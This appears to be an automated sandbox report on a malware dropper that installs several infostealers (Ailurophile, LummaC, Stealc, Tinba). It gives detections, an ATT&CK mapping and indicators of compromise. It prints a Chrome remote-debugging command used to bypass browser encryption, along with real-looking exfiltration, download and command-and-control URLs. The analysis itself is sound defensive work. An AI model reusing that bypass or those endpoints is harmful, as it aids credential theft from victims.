Source: Yara match	File source: 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2667053318.0000000001572000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Potwierdzenie.exe PID: 7572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d84bd44db0.exe PID: 4412, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Ailurophile Stealer

Source: Yara match	File source: 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Potwierdzenie.exe PID: 7572, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d84bd44db0.exe PID: 4412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000031.00000003.2844747377.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2654277078.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4dfaa8fc03.exe PID: 1228, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_00405630 php_network_getaddresses,free,socket,closesocket,__zend_malloc,htons,__zend_malloc,htons,setsockopt,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,free,php_network_freeaddresses,closesocket,php_socket_error_str,getsockname,htons,

10_2_00405630

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	21 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	269 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	312 Process Injection	22 Software Packing	NTDS	9101 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	3 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	381 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	381 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	312 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Potwierdzenie[1].exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
api.myip.com	104.26.9.59	true	false
plus.l.google.com	142.250.186.110	true	false
play.google.com	142.250.185.174	true	false
cook-rain.sbs	188.114.96.3	true	true
www.google.com	142.250.185.68	true	false
home.fvtejj5vs.top	62.76.234.151	true	false
youtube.com	142.250.186.110	true	false
apis.google.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
peepburry828.sbs	true
http://185.215.113.43/Zu7JuNko/index.php	true
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false
processhol.sbs	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
https://play.google.com/log?format=json&hasfast=true	false
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true
p10tgrace.sbs	true

URLs from Memory and Binaries

Name	Source	Malicious
https://duckduckgo.com/chrome_newtab	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
https://api.telegram.org/bot	Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAF9000.00000004.00001000.00020000.00000000.sdmp	false
http://www.microsoft.co	powershell.exe, 00000016.00000002.2668339945.0000000007799000.00000004.00000020.00020000.00000000.sdmp	false
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/apiF	d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exeR	d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false
https://wwww.certigna.fr/autorites/pU	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564648953.000000000F741000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd-//OASIS//DTD	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2981522960.0000000008B70000.00000004.10000000.00040000.00000000.sdmp	false
http://www.accv.es/legislacion_c.htmg	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.se/docs/hsts.html	Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000002A.00000003.2742940051.000001B8C16FF000.00000004.00000800.00020000.00000000.sdmp	false
https://api.telegram.org/bot$bot_token/sendMessage	Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	false
http://www.exeoutput.comDVarFileInfo$	Potwierdzenie.exe, 00000008.00000000.2532388218.000000000082A000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000000.2547282442.000000000082A000.00000002.00000001.01000000.00000009.sdmp	false
https://aka.ms/pscore6lB	powershell.exe, 00000016.00000002.2661516093.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false
http://www.zend.com/Copyright	Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001452181.0000000009840000.00000004.10000000.00040000.00000000.sdmp	false
http://185.215.113.16/steam/random.exeGJ	d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false
https://nghttp2.org/	Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp	false
https://cook-rain.sbs/api3eaNe	d84bd44db0.exe, 0000000D.00000003.2696264526.0000000001581000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.dhimyotis.com/certignarootca.crl	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F74A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562915325.000000000F747000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.accv.es	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.dhimyotis.com/certignarootca.crlW	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://www.zend.com/	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980609937.0000000008AF0000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001452181.0000000009840000.00000004.10000000.00040000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000016.00000002.2661516093.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false
http://repository.swisssign.com/V	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F6F3000.00000004.00000020.00020000.00000000.sdmp	false
https://ailurophilestealer.com	Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false
https://wwww.certigna.fr/autorites/0m	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F74A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562915325.000000000F747000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/	d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	false
http://repository.swisssign.com/o	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp	false
https://wwww.certigna.fr/autorites/	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564648953.000000000F741000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.microp	Potwierdzenie.exe, 0000000A.00000002.2896614153.0000000004A0B000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2861358135.0000000004A0A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2858396405.0000000004A05000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9C000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D95000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2859915134.000000001D511000.00000004.00000020.00020000.00000000.sdmp	false
http://www.php.netD	Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3002224108.0000000009880000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987707445.0000000008F90000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmp	false
https://curl.se/docs/alt-svc.html	Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	false
https://ailurophilestealer.com/upload.php?aturesres	Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
https://www.libssh2.org/license.htmlD	Potwierdzenie.exe, 0000000A.00000002.3015026748.0000000009F40000.00000004.10000000.00040000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	false
http://bugs.php.net/	Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982563333.0000000008BE0000.00000004.10000000.00040000.00000000.sdmp	false
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
http://www.accv.es/legislacion_c.htm	Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	false
